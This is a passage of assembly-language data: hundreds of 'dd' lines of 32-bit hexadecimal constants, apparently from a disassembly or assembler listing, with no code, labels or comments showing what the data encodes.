		dd 0E95C21BDh, 243F09F7h, 0FF30AFAFh, 0C15AD129h, 26F8AE50h
		dd 3F11D57Dh, 6C14440h,	9DA1BC1Eh, 890403F0h, 6F8EE9C5h
		dd 3E226803h, 3EA7BE85h, 0A2DF5F78h, 0E9F9C1EAh, 2F40BEF6h
		dd 60AE5188h, 1BC50C2Ch, 50958B67h, 0CFA22C38h,	0E002C2E8h
		dd 0FC3FC0Bh, 0EA46D0FDh, 0C3054BB6h, 3F7EB505h, 30255FF1h
		dd 0D92612DBh, 0E4CEB80Fh, 923B31AAh, 91257EE8h, 0AB244A8h
		dd 9070B96Ah, 0D719F009h, 1068F506h, 0B016CE05h, 0FC1A11B7h
		dd 0D015F642h, 49FBAE9h, 0B3BE66D9h, 362C92FAh,	0CD590245h
		dd 0D4A0E970h, 128B8BF1h, 7064F67Dh, 450663BAh,	67BE3E31h
		dd 8AE9120Bh, 83B43174h, 54AC0220h, 0BE6A979Ah,	0AE04E356h
		dd 1058167h, 0B055ACD7h, 82B462E9h, 0AE9D95Fh, 97524FEFh
		dd 4E29AE54h, 56F8D045h, 0D669BB1Fh, 0B00FE86h,	2CEB446Ah
		dd 0FE4C5AE9h, 62BEC174h, 0D0C95695h, 0F1A53BBAh, 4B20916Eh
		dd 0C8E8144Dh, 12120B10h, 192B368h, 5E1D8A1h, 0D905F6BEh
		dd 0A572801Fh, 3D093259h, 0B0440168h, 0C4036FAFh, 98395345h
		dd 591EDD7Dh, 0DA1270B5h, 5ED6400Ch, 2DF88249h,	522F749Dh
		dd 12146F57h, 62C69E50h, 5F5A5494h, 0DC42D973h,	15B27F29h
		dd 51821751h, 0FDF4E1E9h, 61F6104Eh, 0C4112248h, 41A3E090h
		dd 5CC03DC9h, 674C1768h, 2E0DD3BFh, 0CD202D1Ch,	0F6BA81E3h
		dd 5D492DD4h, 0FD09ABA9h, 895D6161h, 0D1146494h, 0BEA96F5Ch
		dd 0DD635E42h, 62AF5E88h, 43125F98h, 2AA1B11h, 0C55F8927h
		dd 58C051C2h, 0ED1302B9h, 3302D4AEh, 611F64EEh,	38A0F1C5h
		dd 0B9789508h, 75229A97h, 0B9C6829h, 0C6ABF705h, 0D8D4DBCBh
		dd 97EDE2FEh, 8D8AD3BEh, 3850F495h, 0DAF60126h,	9976060Bh
		dd 0BC6B5C35h, 33E4E42Dh, 76E59550h, 21236800h,	27E94CD7h
		dd 209AE1C7h, 77A44455h, 6B0293FEh, 225586BAh, 0F5B37761h
		dd 5D34D720h, 0CB83052h, 6F237A08h, 3DF30220h, 785D13E7h
		dd 84DCE78Dh, 29DE2502h, 5F944102h, 0F71E6209h,	4CEBDC73h
		dd 0A6594E5Fh, 4A0A1760h, 0EFC1FF04h, 31D7BBC0h, 0D7F8E4C7h
		dd 0BE440408h, 51568A5Ah, 0DE39EC36h, 9B52792Dh, 7721D8A4h
		dd 0A415DF1Ch, 356850A8h, 9560469Fh, 3A2056ECh,	3517CAFh
		dd 0C96AE868h, 24B15D5Fh, 0BF1B5018h, 0AE053AC8h, 47E7D127h
		dd 811D00FAh, 2B4236C7h, 0FD015D13h, 0D0FB8E65h, 0EF522535h
		dd 0A4996B50h, 0E35FE202h, 575DE989h, 0DA9E0AFAh, 5A73542h
		dd 8067BD5Bh, 0C71185C3h, 3EE1BF22h, 5E0841EBh,	802CB957h
		dd 0BF48D108h, 172EF7ADh, 20CDE9B7h, 476EF32Bh,	2000D15Ah
		dd 0D9ACC56Ch, 9FB6B009h, 2AFE8E00h, 8B970F59h,	501C5E1Ch
		dd 0E98061BDh, 41A84B95h, 0DD52AF08h, 6DEA8041h, 0E93D7163h
		dd 0CA85BFEBh, 0E2E806B7h, 0F726453Ah, 0D568C758h, 4606123Dh
		dd 0EDC235ACh, 77BF11h,	0DA13B858h, 0EE833069h,	0EC06C690h
		dd 0FC9F90E0h, 0EA6BCE03h, 752D807Bh, 625F6832h, 28B65FEBh
		dd 6B8C0C40h, 0AA54FE9Dh, 0C03EC3Ah, 8F0C0315h,	7D04E920h
		dd 6B2FB85h, 0B08BEA93h, 86850869h, 26844563h, 3263CE7Fh
		dd 569B5C55h, 9C54CC06h, 2EA17918h, 5A78020Ch, 21DF118h
		dd 1E824BAFh, 0BA0088C3h, 26C9167Ch, 31092145h,	0E96B8BA2h
		dd 580C824Fh, 0DF2A8529h
		dd 6A63440h, 0ACF669C0h, 4E5020DCh, 8651C131h, 0B0B77ED8h
		dd 0F5A02089h, 0AB09BB6h, 98076395h, 1F5058C3h,	825287B4h
		dd 933DE94Eh, 33880951h, 0CB500ADh, 0F3885350h,	5B75DCE4h
		dd 0A820EE69h, 6FCFE8D1h, 6EACF763h, 0CCF7C4h, 8006EDC0h
		dd 25A87BE5h, 875E6203h, 0C9F87C49h, 906B89FDh,	9F9DB87Fh
		dd 0DFED8FD6h, 0F44BA83Bh, 4BE9F3DCh, 0ED0EC55Bh, 0BD03B4ACh
		dd 0AA0EC1FCh, 0A0604E89h, 256886E9h, 84FE2378h, 0E91708A0h
		dd 0F8CE6D1h, 516B0502h, 8C6C297Dh, 88C95D15h, 0FBCCDDB7h
		dd 826357F6h, 0B9C39D8Ah, 0C5BE4123h, 4BEA7085h, 0EC6784EDh
		dd 2CBA5A69h, 7E701C7h,	0E8285BB1h, 8524E62Eh, 0EC41C6E9h
		dd 0AE7DCCBBh, 5BDFDE41h, 1D51BB60h, 802B3614h,	986999EFh
		dd 3B0E2D0Fh, 0A125E66Dh, 49F07FB8h, 4527A03Eh,	0F5A9244Bh
		dd 0C4FA2987h, 1CA0BCCCh, 81AE4595h, 2AFEC417h,	2D835818h
		dd 41B52A0h, 77D53669h,	0E5E0AA5Dh, 67DD0FCAh, 53E452AAh
		dd 48EDB227h, 4C220090h, 0BCB9352Ch, 6DF50474h,	1F80C8E9h
		dd 0F064DC2h, 0EC944009h, 32C12774h, 4A767878h,	0F703E23Eh
		dd 18CFC600h, 0E9D531A5h, 0BCBA5C05h, 3AF93F8Bh, 4820B9A0h
		dd 87BD099Bh, 89806A4Eh, 0A302F8C1h, 10BE5F4Eh,	0C06008C7h
		dd 6E15E5F1h, 1BFE509Fh, 4D1F707h, 74AC281Ch, 4EFB896h
		dd 0B925412Fh, 381105D9h, 5EAF3049h, 31CB407Ah,	0E3E98469h
		dd 0B9B83C4Ah, 6AEDC2A7h, 0FDAD3B56h, 42D67903h, 7E25067Fh
		dd 0BD155BA8h, 0A80F6496h, 30BAA48Dh, 0E9FD8698h, 0E6E71029h
		dd 0DEE7CE9h, 6020DA78h, 2D00CBC6h, 0A53507F8h,	1229AB27h
		dd 4909E940h, 83595856h, 0B5FA73Dh, 0F7A0DDD6h,	0FB9DCBF1h
		dd 1927057Eh, 89BF20C9h, 952CEA1Eh, 881BFDAh, 0E8C8FF5Eh
		dd 600B613Eh, 568A9CE9h, 0A9956213h, 42505B02h,	0D9195530h
		dd 454D0115h, 818B5E20h, 70F87F5Ch, 0FFDC98B2h,	0C8A81B2Eh
		dd 4268240Bh, 148B110h,	0F6B394C2h, 0DA321478h,	496BF96Fh
		dd 6B2C0F59h, 667650Bh,	7F12A14h, 594788EAh, 27B6B26Ch
		dd 1D3C8390h, 11FF008h,	90820C7h, 0AD6FE958h, 0C5507154h
		dd 0A67A0531h, 10F50136h, 293F08CFh, 0EB4EBB4Eh, 0CEEF7254h
		dd 27B94EDDh, 554BE983h, 0ECB52605h, 0D81DD30h,	832A59EBh
		dd 0AEE15143h, 0A3B7E728h, 0D8B32C04h, 7F0A1669h, 669C8DC6h
		dd 61986804h, 0E9E161BAh, 5DBF240Bh, 5DD12125h,	49D6E89Ch
		dd 0E6535AA0h, 0F2074B12h, 0B9510174h, 22B23787h, 0DC12446Ch
		dd 0E7EF44FBh, 0D4BA3038h, 0C2425871h, 0D45AD516h, 0B1693h
		dd 362423A5h, 0EF2DE969h, 0F6E2EEAFh, 891A5F66h, 7CD5E16Fh
		dd 0F2681551h, 29FF4AE2h, 3A8B6E13h, 0CD541512h, 0FDFFA62Dh
		dd 0A12F1A09h, 0D0017CBEh, 206EF03Eh, 2835126h,	202D7D1Dh
		dd 14B5703h, 4A8D805Ah,	0C792F30h, 40951222h, 3C160703h
		dd 0DB912734h, 0F62A1E7Eh, 0F8E02C27h, 0C17ED9A7h, 0C274ADE9h
		dd 0EB7C717Fh, 0AA7D90D7h, 41F69F98h, 2F5C59h, 51BF5746h
		dd 181E6B6Dh, 7E67D2E9h, 598BC93Fh, 7B5282B9h, 0E912D6B3h
		dd 4B73820Ah, 1DED4855h, 5EF85CB7h, 536A403Bh, 19D60816h
		dd 0DB88B816h, 4CDBF8C5h, 0CD808A1Eh, 43754E77h, 14484AF8h
		dd 0E52DC03Ah, 98F3BDB6h, 0EB584B0Ah, 0C64DC41h, 0C2908A90h
		dd 705531C6h, 0EE05E1A7h, 0CAFF3EC4h, 8FE913A1h, 86AD4A57h
		dd 571D2CF5h, 0AC5E33B8h, 6B2B79AAh, 0E98245E8h, 68D68D80h
		dd 0FB0664C0h, 0B9099758h, 440C0CFEh, 770458A8h, 132B5A62h
		dd 2CEB2A92h, 52AF67B8h, 226812B9h, 0F1A0E812h,	851466ACh
		dd 6B4781D3h, 81BFF030h, 17EC6497h, 9595F04h, 2AE67619h
		dd 0F5977D2Dh, 0DB406EB2h, 82DAADh, 0A1660687h,	0A4595B65h
		dd 69183CCDh, 0B1F801B6h, 907EE671h, 9A4E0C4Eh,	5F28B9AEh
		dd 90CB3BE3h, 0B80D444Bh, 0AAE6FAC4h, 56D898D2h, 92F04B44h
		dd 0EB801787h, 72D09C9h, 4EC1D9D2h, 13BC7FEAh, 0DC59C07Ah
		dd 517D4103h, 0DDEF630h, 0BDC427E9h, 2EE2AF56h,	4990D14Fh
		dd 4135A644h, 5C016B9Ah, 6D876851h, 2C0FD78h, 5A43A93Eh
		dd 5BAA524Fh, 90D60B82h, 0B9192C0Eh, 7793384Eh,	4497622h
		dd 0E25C97CEh, 2078055h, 64135B43h, 0A3C59FE9h,	160F9AFAh
		dd 7F201DD0h, 483D205Bh, 7107A731h, 0C045193Ch,	0DC10DDF2h
		dd 4B183F60h, 0C16B6232h, 7DADBB0Ch, 6FA22E60h,	27D8E917h
		dd 0EB336438h, 3699DE47h, 59563021h, 41FFA830h,	77B1DFDDh
		dd 0D0D351CBh, 4B48632Fh, 9F43AF80h, 90A984Fh, 13346A75h
		dd 5D624E01h, 0ACD840D6h, 6127ED47h, 81D6F029h,	0C9445B08h
		dd 666289ACh, 79E413F7h, 0BD550401h, 6A3F717Bh,	82DAF1F8h
		dd 78F03B8Bh, 293CAA0Bh, 5B96574Bh, 2E6EBA00h, 0E9560EF0h
		dd 0BC8BB560h, 7CA78E67h, 607C7009h, 7A521F9Ch,	1C3120DAh
		dd 138F8320h, 0A3FD885Ch, 74915B6Eh, 0B800A9F3h, 2C274462h
		dd 6B2CF74Dh, 0C54BB368h, 0FDA21A67h, 0A83E5380h, 600F122Eh
		dd 7F52BACFh, 0F4E504ABh, 31580491h, 0F37A1FA1h, 0CE2B842Fh
		dd 0CB105B0Bh, 0C8837363h, 0FA30E281h, 4A722F87h, 7C9DEA14h
		dd 85EA9F49h, 0ABDFFEF4h, 0C7CD8617h, 0E114AC6Eh, 0BF01953Bh
		dd 3043F8E1h, 17F8893Eh, 70C83DC5h, 0CDFF247Bh,	49EF0184h
		dd 7213A946h, 0E90840E7h, 0B857652Ah, 8A52A097h, 7A79C01Ah
		dd 1C888229h, 0CE41A70Ah, 25616E5Dh, 928594F2h,	97556853h
		dd 8478B2E3h, 3E067348h, 227EF125h, 726C55C6h, 6EB9279Dh
		dd 22DE60A2h, 0C25A8B09h, 50EDFDC1h, 2F08E425h,	0A6990C73h
		dd 0B3177B6Ch, 0F93808BEh, 4EF4D025h, 8177ECB3h, 710A5157h
		dd 0BDA696F0h, 0FAE95F7Eh, 3924B68h, 64EE81D3h,	3010C289h
		dd 710C2745h, 1A463F75h, 0C94B12ACh, 8AE10023h,	29D207E5h
		dd 0C122C64Eh, 4BA00A0h, 525EED35h, 14329E1h, 0EFD4C8B9h
		dd 5AD12731h, 4EB69FC6h, 564C273Eh, 93E950DEh, 4674B44Fh
		dd 110999FCh, 0B5D0AB2Ch, 3AE6067Ah, 0AE3C0C94h, 8539C8EBh
		dd 321B5728h, 0EC185080h, 11613E9h, 60C5A2DFh, 2BDC4326h
		dd 4BFAB0F9h, 0DDE02805h, 498E6BF9h, 0F9656017h, 0B7AED261h
		dd 72E90C88h, 0E0B91068h, 5D6D4C0Dh, 8EDC0517h,	97404EDDh
		dd 0EFBDF4C1h, 6A029DFDh, 0C557B847h, 4DDFE939h, 2D5C92A3h
		dd 0B181303Ch, 80568195h, 0A66089E3h, 4F52F650h, 0C1B874FCh
		dd 2B99B404h, 8DC6A4ACh, 2398931Bh, 48DDD205h, 2CEFD501h
		dd 0EF3EC622h, 0DC3D2546h, 5008A013h, 1026F05Dh, 24677629h
		dd 2C2ED103h, 6C0334Fh,	4F5E3C59h, 2E2DBA2Dh, 0F20EC46Bh
		dd 9FECD66Dh, 1A104260h, 589D793Ch, 0E5DC953Bh,	57E330C9h
		dd 30388276h, 0DE4F015Ch, 0E96538AAh, 9E9FA42Ch, 5B0E6884h
		dd 74E560FBh, 7F2DA678h, 0C3275429h, 0AA84DB0Dh, 0CB4C329Bh
		dd 4F2F2C49h, 0A3CF3387h, 0E52088CAh, 12F37BE3h, 0AB3F5271h
		dd 0A6F97D17h, 0F94F723Eh, 69C9DE1Eh, 0DD93FF5Ch, 2C283EC1h
		dd 0DA68C21Bh, 1B9CC619h, 48E310E9h, 287D71E9h,	42ABD2B2h
		dd 0A635E906h, 72703246h, 59145695h, 7CBE7759h,	77256DBCh
		dd 282FC41Ch, 62347C92h, 0BEF117CCh, 0DAA2E985h, 207BEEB7h
		dd 42BD1226h, 73C07F07h, 86096855h, 0FD249973h,	4600131Ch
		dd 21547A6Bh, 94B7E9C5h, 0A69E253Eh, 0DA97E927h, 3CC50F3Eh
		dd 66443961h, 0B640F431h, 744F1BF4h, 71407BB1h,	0E744776Fh
		dd 759BAE80h, 0EA296D64h
		dd 881CAF1h, 6886E95Dh,	66592F3Fh, 7242C027h, 0E97E575Ch
		dd 79C67627h, 0BC6E88EAh, 5649BA01h, 7E300844h,	3D0E16B8h
		dd 12C8D43Ah, 2718BC08h, 594E515Bh, 2E72C6E9h, 0F2B844D6h
		dd 91DDD312h, 445119h, 5251905h, 0F80163A8h, 0B807132Dh
		dd 44B205A2h, 1AAB296Ch, 6ED80D47h, 79E9DEBFh, 9123112Ch
		dd 41B47748h, 0E690301Fh, 0EA8BAD69h, 82F4D4C3h, 57BC20DBh
		dd 0EC77F5CEh, 0C800D1B1h, 13214B05h, 9771906Eh, 0BE00259Ah
		dd 324D7C0Eh, 2E67695h,	38D83991h, 3B48407Dh, 20EEB7A3h
		dd 2F5B6812h, 1B82A137h, 0BB2BA005h, 5B3742E4h,	20A5B161h
		dd 6D145012h, 5B9B1AEBh, 53040B8Ah, 0CC9661E9h,	0A0B25ED2h
		dd 0C2E4C5B7h, 9244CC6Ah, 8361EC0Fh, 5104C93Bh,	397C6B3Ch
		dd 0DEFB21B4h, 51616246h, 9ED7B54h, 58791BEBh, 1F7E0888h
		dd 53C98B5Ah, 2153657h,	0F1067968h, 52D65966h, 1611F2AFh
		dd 0F1E3E95Fh, 0F3DA3E9Eh, 671EA904h, 73B8A971h, 5558A30Bh
		dd 5B60040Ch, 33C9BD00h, 2BF46736h, 51904A4Ah, 58A85893h
		dd 95015F0Bh, 1307072h,	81604DEh, 12551E01h, 45751B20h
		dd 0FE414241h, 0E55F0802h, 0EA808024h, 0D08850E2h, 0E910C7E4h
		dd 0F7509B7Fh, 0FFC14A34h, 0D7686660h, 0F095A63Bh, 26A24A5h
		dd 0C5DE08FDh, 0CEEF0493h, 0E95B0522h, 0F5EAEF68h, 3B1921A8h
		dd 0A0196DA6h, 0F95720D7h, 5CF334E5h, 4CC0C6B6h, 253B2613h
		dd 19C1DFF7h, 9E817008h, 6C146512h, 1282B2A1h, 78365A75h
		dd 39F2D4E1h, 2F2309B4h, 9784C87Eh, 11862D70h, 0C88AA77Ch
		dd 0E9040A2Dh, 0CCAF0AF5h, 6341E4C6h, 0D1F3616Bh, 5ECDE0E5h
		dd 3A90A19h, 61E8ED11h,	219E13C8h, 3A2289EEh, 84D317A8h
		dd 4171EAC3h, 3FF05AACh, 0E642ED01h, 18B27503h,	2920F5Bh
		dd 2193C1B6h, 265A27A3h, 0EBD61882h, 0EEF5298Eh, 0E89B6D9h
		dd 0D23F4A5Eh, 4BB5F894h, 0F2B751F8h, 7A4ABCCDh, 71BD3A40h
		dd 95DDB980h, 6F4BA4F2h, 0CF2A68A1h, 0FF9F6B62h, 7E979E14h
		dd 4BBC16B7h, 20FE5BFAh, 80EBD109h, 2D5A084Ch, 0FB09056Ch
		dd 885260E9h, 220FD044h, 9F893714h, 55406849h, 0DAFEF4B1h
		dd 9F8C8828h, 705FCF75h, 6C7BB7CBh, 73E28AE9h, 16C10189h
		dd 5681475h, 0D90314Eh,	0D325835h, 8841FC27h, 2C635BE2h
		dd 0EBF74BEAh, 0C5F29FFAh, 3F89D1F8h, 41C3DA13h, 235A2D14h
		dd 2E143A08h, 0D5F07F11h, 7F4C85C4h, 0C40131BEh, 4867AD05h
		dd 8120359Eh, 0C1409C21h, 68EE04D8h, 4B730C07h,	5545AAE9h
		dd 56D58916h, 910F8E09h, 0F4DABA0Eh, 548E021h, 0F32C0858h
		dd 3107AC11h, 936EF38h,	764920EAh, 0C4F4B805h, 5E878617h
		dd 0EC77C6C2h, 0BFF09168h, 0BE951212h, 87EA7422h, 21C38CF9h
		dd 0B6BE854Dh, 90B01230h, 0A2908EE5h, 76C2506Eh, 0D4C65F0Dh
		dd 0CBF9EE09h, 0BF027F6Ch, 2F5406E2h, 55EAE255h, 0B822258h
		dd 4A3D09C0h, 5A4D0412h, 0D1F3F1AAh, 0F9DFC242h, 12546BFFh
		dd 25072A00h, 0F332160Dh, 4EF8E9D4h, 9829A841h,	30236E58h
		dd 0DD0C53BAh, 773F6C56h, 880E801h, 0B5290C36h,	3282E573h
		dd 5F428B4Eh, 0C560FEC2h, 62D2AEC0h, 0DF90951Ah, 0B8E99AB8h
		dd 0AE416FFDh, 39D97956h, 80661B20h, 1B92DADh, 0B590500h
		dd 49E90999h, 0AE4E519Dh, 735A7972h, 14C62DEBh,	22411E90h
		dd 17367964h, 221F6737h, 4E589194h, 4233749Fh, 892D3F7h
		dd 81AFEB5Dh, 9D07CD1Ah, 0AAF36073h, 2C237692h,	0B05A0959h
		dd 8117E871h, 0DB18E142h, 9008EC3Bh, 42AC1217h,	0E57D01C3h
		dd 7A712AD0h, 1F9F08C0h, 4D5B3E34h, 3A2FF586h, 0E9501AAEh
		dd 433BF9C0h, 0C1517E29h, 2BC6F08h, 542DE9A8h, 923FD3A2h
		dd 0FA2BA422h, 68875F4Bh, 72E005B4h, 3E527253h,	3AF28851h
		dd 0DA8259CBh, 7947685Bh, 0E1993466h, 9DB2222Fh, 0BD5955E6h
		dd 3DCB08CFh, 1590C782h, 15512314h, 0AF40B0A8h,	5049168h
		dd 13F0295Eh, 7D68E4BCh, 317D3C43h, 191B8B9Eh, 0C134280Bh
		dd 9722AAFh, 0BCDE320h,	340B393Ah, 0BC49EE05h, 0D109D670h
		dd 0F6D26E07h, 122D9C71h, 2CC2EA5Ch, 0E55E572Bh, 0F447DD49h
		dd 0FA9655A5h, 0AA4A22A4h, 0FD5CB6C2h, 3CE4BA7Bh, 0E48DD206h
		dd 1AE5E5Ah, 65B9CEC7h,	0F6B0E730h, 860E2287h, 0DFD6F758h
		dd 7643E984h, 6958AEF2h, 5E74F215h, 131A5F78h, 21D8BB7Bh
		dd 4E639852h, 0BD241662h, 5905E2AAh, 0CB4BA7C6h, 0EE3177D8h
		dd 261698E5h, 22D17C8h,	12277E9Eh, 4462E801h, 0F7BF3268h
		dd 73A81A12h, 821608ADh, 9218EC1Fh, 0CB0281EEh,	9D4F7BD1h
		dd 0A942090Ch, 135E106Dh, 536B2506h, 3E991894h,	929DFF3Eh
		dd 95F433h, 5DDB1CC3h, 0BC0C768h, 0E9DE315Eh, 61B54FCEh
		dd 2B1E7605h, 37C06664h, 5C502946h, 3B109516h, 963124C0h
		dd 0CCCFE30h, 0FE45E093h, 538A5B13h, 56D703E6h,	0A4E1A2CBh
		dd 0A50B64A9h, 33506D1Eh, 0FC6FDE8Bh, 1457D20Ah, 46BD0951h
		dd 80D73F0Ah, 4137A30Fh, 61DDA00Ch, 95027A2Dh, 659D0EF0h
		dd 0A41FA41Dh, 788807CFh, 68FF0BA1h, 4A3D7695h,	57C1AF67h
		dd 0F2CA7FBDh, 4EB256Bh, 0C1206F47h, 428E71B5h,	0AF5E0CB6h
		dd 1A22962h, 7BE7C780h,	6C6E19C7h, 4BB0122Bh, 4ADEB228h
		dd 0B70813BAh, 0B0281CC0h, 0CFAE4A38h, 2E451212h, 0EBC934FEh
		dd 5F8253F0h, 1D39AF89h, 0BA247Eh, 1F2E408Bh, 0E9174A4Eh
		dd 47EC7264h, 0CEEB08A2h, 0A602E05h, 9F011E88h,	5C692214h
		dd 38C50C82h, 0A58046B3h, 0F4DF7C29h, 87ADE931h, 93705F52h
		dd 941EF4FAh, 0C2C19E5Fh, 19D30AFh, 5A71E957h, 0C0B8B6Bh
		dd 0F3779868h, 318540ECh, 0A0E4F29Fh, 0FC9DB44Fh, 4D9461h
		dd 0F6801CB6h, 0C667FE05h, 0EE801A0Ah, 1DB15159h, 81CE306Bh
		dd 0D05AF108h, 52AAFBE1h, 0F6D70775h, 0E99B2C90h, 6FA924Bh
		dd 3C68D1F7h, 295B837Fh, 40402DFEh, 903EAD3Fh, 57E9121Ch
		dd 8DCF08E4h, 0CC22B903h, 0D1A97E12h, 549C99C9h, 6C1ABEFh
		dd 0F7C26C77h, 0E904CC6Dh, 0CFBA257Ah, 0BF4A7FF8h, 0F1296A04h
		dd 29EDBF9h, 70F009BDh,	7DFDE880h, 0C89D6B19h, 5B0AA9A7h
		dd 783FE807h, 7AD24E14h, 493206EAh, 0B0C58F6h, 37E035A4h
		dd 0C09DE4D0h, 2748CEBFh, 2B5F6813h, 0D1ED078Eh, 77C7AE82h
		dd 680428D9h, 21EF0477h, 2882DB1h, 6D805D4Bh, 317FA7BFh
		dd 0E984A7BEh, 68048C8Dh, 5261986Fh, 0B55A5828h, 53B919C0h
		dd 0C01B8B1Ch, 714924DAh, 514EE914h, 0C52D1EC0h, 0BC332E28h
		dd 0A32023Ah, 4CDC359Fh, 8B5BFC7h, 0C19385BAh, 0E6EAC1C6h
		dd 0C0D184h, 7874CF81h,	59727B9Dh, 881D3CA5h, 800ECBDDh
		dd 3B54D219h, 0D93F600Bh, 0BE566358h, 5F4D0AF0h, 4C06DB0h
		dd 5107E6C1h, 8E4824E9h, 0C5688E08h, 0C20EE3E4h, 0FE00959Ch
		dd 73EC80CCh, 0ECF9E4C4h, 880304F4h, 812C58E1h,	0D204C882h
		dd 0E858B975h, 15A079FDh, 0BCB64E8Ch, 0F89B4E5h, 55CA5138h
		dd 484700EEh, 1BBB5D03h, 0FCB7B804h, 0C2C1EB81h, 0E0407C58h
		dd 3F922AE3h, 9000549h,	9C354A18h, 0DF21461h, 3F63475Ch
		dd 0BB7E9D02h, 1209CD93h, 0A4ACDB1Ch, 257EAB67h, 0BD2F98D5h
		dd 0ECB481A3h, 8014DCF6h, 28838EE4h, 44488C72h,	116B1034h
		dd 1FB6ED40h, 18F4300Eh, 28CC1C5Ah, 0B5850082h,	28C58057h
		dd 34E3F6B1h, 0E85EB469h, 53AF5F77h, 7C6E8F7h, 0DBF692EBh
		dd 59B015C4h, 2AEABDBAh, 2D938580h, 42906035h, 9A05FC01h
		dd 0B80DE93Bh, 0E54AB56Dh
		dd 3A02EDF1h, 4E02DA13h, 0D519DA15h, 0A5D759C8h, 554BF624h
		dd 0AAB2927h, 0F7180D90h, 97DD0434h, 807E9CEEh,	1220D648h
		dd 3B6015B0h, 7D50683Ch, 0C3722A32h, 5245F2FBh,	20649126h
		dd 17FAA33Eh, 0C888A416h, 97DD9553h, 0AB4A3B24h, 2A683C98h
		dd 5C2E5CA2h, 0DA20D156h, 0D8405827h, 2CA80C0Fh, 0E9D3C589h
		dd 3A125B4Bh, 74713A03h, 4DA8E588h, 823F5081h, 7AB67159h
		dd 0E8283806h, 98AF3510h, 7E301A1h, 6E296848h, 89C45FE8h
		dd 935CADD0h, 0ED0E7EE8h, 34AF44E9h, 5110EA32h,	0A0EC4A08h
		dd 0FDB47Ch, 8166EFBFh,	6F64F49h, 4268DE97h, 0C2825251h
		dd 137D7FB7h, 9374C10Ch, 0E4F20164h, 0CA08DAD6h, 4A97D9D6h
		dd 820DB901h, 0C0FE691Ch, 75112D8Ah, 0B84D4F16h, 0E90740CCh
		dd 1488BA4Bh, 256C96ABh, 25AD67Eh, 0F7B3EDB6h, 1259AE6h
		dd 0D0CC75F3h, 0E7F1234Bh, 0ADEDF996h, 1A93468Fh, 0D51CFD29h
		dd 7FE9A321h, 2BD13EC2h, 9404C5F3h, 4EA2EFF5h, 0B63604D7h
		dd 1E79FB2Ah, 20503D7Bh, 4613669Bh, 0C8EF4F88h,	917C687Ah
		dd 0AF3718B5h, 4C790949h, 0B1A0FE31h, 0AA53E94Eh, 0E857CAAAh
		dd 8284EDB6h, 13E3DBDFh, 0EA1D8087h, 0E9254207h, 0BF9E4021h
		dd 59CC2405h, 0E58E28C6h, 0C53F5DCDh, 628901A5h, 7E34D545h
		dd 80938D4h, 0AFB17758h, 28002ABCh, 80F32859h, 2A1F4CC3h
		dd 3052B237h, 0A4B6528Ch, 0D6CEFE24h, 902A0509h, 6ABAB159h
		dd 0A781820h, 6C9D5388h, 37410A12h, 0BE8827Bh, 7BBFC7D0h
		dd 0B1B7C420h, 3C42EA99h, 0EA45810Fh, 0E68291BDh, 204F6508h
		dd 5E120D6Ch, 0CD013AE8h, 7E6E76FBh, 61B096Eh, 8A8361AFh
		dd 0E9E8D67Fh, 0EBDD8CF0h, 0E3401893h, 0CC4DFABBh, 5BACF44Bh
		dd 0EA40D98Ah, 0D10048DFh, 0FA682FEAh, 4C5A195Dh, 0F7D833D1h
		dd 50BACCD0h, 6819E11Fh, 0DF452D27h, 55840E2Fh,	50ACAADEh
		dd 1285F45Fh, 1523501h,	0E449F766h, 5AF6207Ch, 1D2E031Fh
		dd 8A074E4h, 2D141CD0h,	82F9DA5Fh, 6BFA5E23h, 1E1D0BE8h
		dd 5BCC5BDh, 819509E1h,	3F45A9E5h, 0FB176E8Ah, 5F95CA8Bh
		dd 0E9C509B2h, 7D99EF9Eh, 92BECBE4h, 6F4A3186h,	3CAE527h
		dd 0BB7CB1ADh, 60D34034h, 79AF4E5Ah, 5600616Dh,	0FAA0D968h
		dd 9EA3E9E7h, 8B382647h, 6EC6AD38h, 4FE36C20h, 184DBC54h
		dd 0CACB6522h, 0F73B300Ch, 0BC29C20Ch, 8AB9BA25h, 0E20F7EA8h
		dd 0B7196F0Fh, 5D808C1h, 5D5B0A40h, 8D2C27E9h, 0ECB0BF52h
		dd 3C6AA26Ch, 62FD26C1h, 5EF109E4h, 2567520Ah, 0BF542056h
		dd 0A92DCD84h, 2FE917EDh, 0B79E9B1h, 3543EE97h,	4887BEE9h
		dd 80196F76h, 0F5E3FD8Ah, 7A222549h, 73F48BE0h,	0C5CC20FAh
		dd 0D4F69318h, 58285716h, 7F8462E3h, 601BD04Bh,	0AD90C66Dh
		dd 4E5FFD3Ah, 0ABC60DF8h, 0BB095A82h, 5F2327EBh, 0F1071581h
		dd 8AD4FA1Ch, 9DEBF2A5h, 564638Ah, 0C12F08F7h, 5911225h
		dd 2113EDF9h, 97F7ACF1h, 0E05FEEDFh, 0F9C1124h,	90F4CCC9h
		dd 88D6BC70h, 6613AF7Bh, 9CEEE2D3h, 494BEC90h, 0EF535EC9h
		dd 5992FB04h, 174665B4h, 0F8841BA0h, 0B6D2106Fh, 1F575B12h
		dd 7394255Fh, 17018F37h, 9746B861h, 41C1CBCBh, 0E83F08CAh
		dd 86E9C2C0h, 59CCE814h, 9402F62h, 0EF7A1544h, 0D4222A2Dh
		dd 768002F8h, 2BDE3735h, 636FB804h, 843924AEh, 0AAF7D41Bh
		dd 8ED92DB9h, 87A83AD9h, 634E41D2h, 7A2F9716h, 120C18E0h
		dd 44C259E9h, 0F60DD7CCh, 4F34967Ch, 0A4E48805h, 848732BBh
		dd 41EB5824h, 8D044715h, 0A5F8F91Bh, 12BCD61Dh,	92F3AB29h
		dd 1543FC4Eh, 16AA42C3h, 79208174h, 4B4303A1h, 8F95EC61h
		dd 2434C458h, 0A55EC555h, 67BC6A66h, 6DB4BEB4h,	0C4125E9h
		dd 68673FF1h, 0F70B4D77h, 0D8BF66EEh, 0B15A5B32h, 0C6F33EE5h
		dd 0BC25A8D6h, 23854A2Fh, 28C95A34h, 604D02A9h,	3E025E24h
		dd 0CA1848B3h, 305C2ABAh, 0FD6AEF72h, 321B6809h, 0E90D0C06h
		dd 5A4280DCh, 6B3DFA9Dh, 2FFF1847h, 5DE7699Ah, 0A9BF4ABEh
		dd 0D69F80E5h, 13121F63h, 0AA27C4E9h, 0FE049B74h, 66077EB0h
		dd 3A407350h, 0AEB7277Dh, 0A4D94F5Ch, 90B8E797h, 663DB981h
		dd 0E1CC6054h, 3201950Ch, 0BE194029h, 0C6D5E736h, 280F118Ch
		dd 0E5522CC8h, 0B52D5994h, 0B74D3160h, 9BF437B0h, 42FC5881h
		dd 705981B3h, 0EB5EE437h, 0EA377D0h, 0EC744B8Dh, 0F33B005Dh
